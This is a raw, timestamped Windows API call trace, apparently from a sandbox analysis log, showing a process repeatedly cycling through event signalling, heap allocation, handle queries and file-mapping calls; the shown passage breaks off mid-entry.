1 [0072.565] SetEvent (hEvent=0x114) returned 1 [0072.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.565] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.565] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.565] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.565] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.565] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.566] ResetEvent (hEvent=0x110) returned 1 [0072.566] SetEvent (hEvent=0x114) returned 1 [0072.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.566] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.566] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.566] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.566] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.566] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.566] ResetEvent (hEvent=0x110) returned 1 [0072.566] SetEvent (hEvent=0x114) returned 1 [0072.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.566] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.566] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.566] ResetEvent (hEvent=0x110) returned 1 [0072.566] SetEvent (hEvent=0x114) returned 1 [0072.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.567] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.567] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.567] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.567] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.567] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.567] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.567] ResetEvent (hEvent=0x110) returned 1 [0072.567] SetEvent (hEvent=0x114) returned 1 [0072.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.567] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.567] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.567] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.567] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.567] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.567] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.567] ResetEvent (hEvent=0x110) returned 1 [0072.567] SetEvent (hEvent=0x114) returned 1 [0072.568] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.568] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.568] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.568] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.568] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.568] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.568] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.568] ResetEvent (hEvent=0x110) returned 1 [0072.568] SetEvent (hEvent=0x114) returned 1 [0072.568] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.568] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.568] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.568] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.568] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.568] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.568] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.568] ResetEvent (hEvent=0x110) returned 1 [0072.568] SetEvent (hEvent=0x114) returned 1 [0072.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.569] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.569] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.569] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.569] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.569] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.569] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.569] ResetEvent (hEvent=0x110) returned 1 [0072.569] SetEvent (hEvent=0x114) returned 1 [0072.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.569] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.569] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.569] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.569] ResetEvent (hEvent=0x110) returned 1 [0072.569] SetEvent (hEvent=0x114) returned 1 [0072.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.569] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.570] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.570] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.570] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.570] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.570] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.570] ResetEvent (hEvent=0x110) returned 1 [0072.570] SetEvent (hEvent=0x114) returned 1 [0072.570] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.570] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.570] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.570] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.570] ResetEvent (hEvent=0x110) returned 1 [0072.570] SetEvent (hEvent=0x114) returned 1 [0072.570] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.570] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.570] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.570] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.570] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.571] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.571] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.571] ResetEvent (hEvent=0x110) returned 1 [0072.571] SetEvent (hEvent=0x114) returned 1 [0072.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.571] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.571] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.571] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.571] ResetEvent (hEvent=0x110) returned 1 [0072.571] SetEvent (hEvent=0x114) returned 1 [0072.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.571] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.571] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.571] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.571] ResetEvent (hEvent=0x110) returned 1 [0072.571] SetEvent (hEvent=0x114) returned 1 [0072.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.572] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.572] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.572] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.572] ResetEvent (hEvent=0x110) returned 1 [0072.572] SetEvent (hEvent=0x114) returned 1 [0072.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.572] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.572] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.572] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.572] ResetEvent (hEvent=0x110) returned 1 [0072.572] SetEvent (hEvent=0x114) returned 1 [0072.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.572] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.573] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.573] ResetEvent (hEvent=0x110) returned 1 [0072.573] SetEvent (hEvent=0x114) returned 1 [0072.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.573] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.573] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.573] ResetEvent (hEvent=0x110) returned 1 [0072.573] SetEvent (hEvent=0x114) returned 1 [0072.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.573] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.573] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.573] ResetEvent (hEvent=0x110) returned 1 [0072.573] SetEvent (hEvent=0x114) returned 1 [0072.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.574] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.574] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.574] ResetEvent (hEvent=0x110) returned 1 [0072.574] SetEvent (hEvent=0x114) returned 1 [0072.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.574] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.574] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.574] ResetEvent (hEvent=0x110) returned 1 [0072.574] SetEvent (hEvent=0x114) returned 1 [0072.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.575] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.575] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.575] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.575] ResetEvent (hEvent=0x110) returned 1 [0072.575] SetEvent (hEvent=0x114) returned 1 [0072.575] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.575] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.575] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.575] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.575] ResetEvent (hEvent=0x110) returned 1 [0072.575] SetEvent (hEvent=0x114) returned 1 [0072.575] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.575] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.575] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.575] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.575] ResetEvent (hEvent=0x110) returned 1 [0072.575] SetEvent (hEvent=0x114) returned 1 [0072.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.576] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.576] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.576] ResetEvent (hEvent=0x110) returned 1 [0072.576] SetEvent (hEvent=0x114) returned 1 [0072.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.576] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.576] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.576] ResetEvent (hEvent=0x110) returned 1 [0072.576] SetEvent (hEvent=0x114) returned 1 [0072.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.576] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.577] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.577] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.577] ResetEvent (hEvent=0x110) returned 1 [0072.577] SetEvent (hEvent=0x114) returned 1 [0072.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.577] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.577] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.577] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.577] ResetEvent (hEvent=0x110) returned 1 [0072.577] SetEvent (hEvent=0x114) returned 1 [0072.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.577] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.577] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.577] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.577] ResetEvent (hEvent=0x110) returned 1 [0072.577] SetEvent (hEvent=0x114) returned 1 [0072.578] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.578] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.578] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.578] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.578] ResetEvent (hEvent=0x110) returned 1 [0072.578] SetEvent (hEvent=0x114) returned 1 [0072.578] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.578] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.578] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.578] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.578] ResetEvent (hEvent=0x110) returned 1 [0072.578] SetEvent (hEvent=0x114) returned 1 [0072.578] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.578] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.578] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.579] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.579] ResetEvent (hEvent=0x110) returned 1 [0072.579] SetEvent (hEvent=0x114) returned 1 [0072.579] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.579] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.579] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.579] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.579] ResetEvent (hEvent=0x110) returned 1 [0072.579] SetEvent (hEvent=0x114) returned 1 [0072.579] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.579] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.579] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.579] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.579] ResetEvent (hEvent=0x110) returned 1 [0072.579] SetEvent (hEvent=0x114) returned 1 [0072.579] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.580] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.580] RtlFreeHeap (HeapHandle=0xf70000, 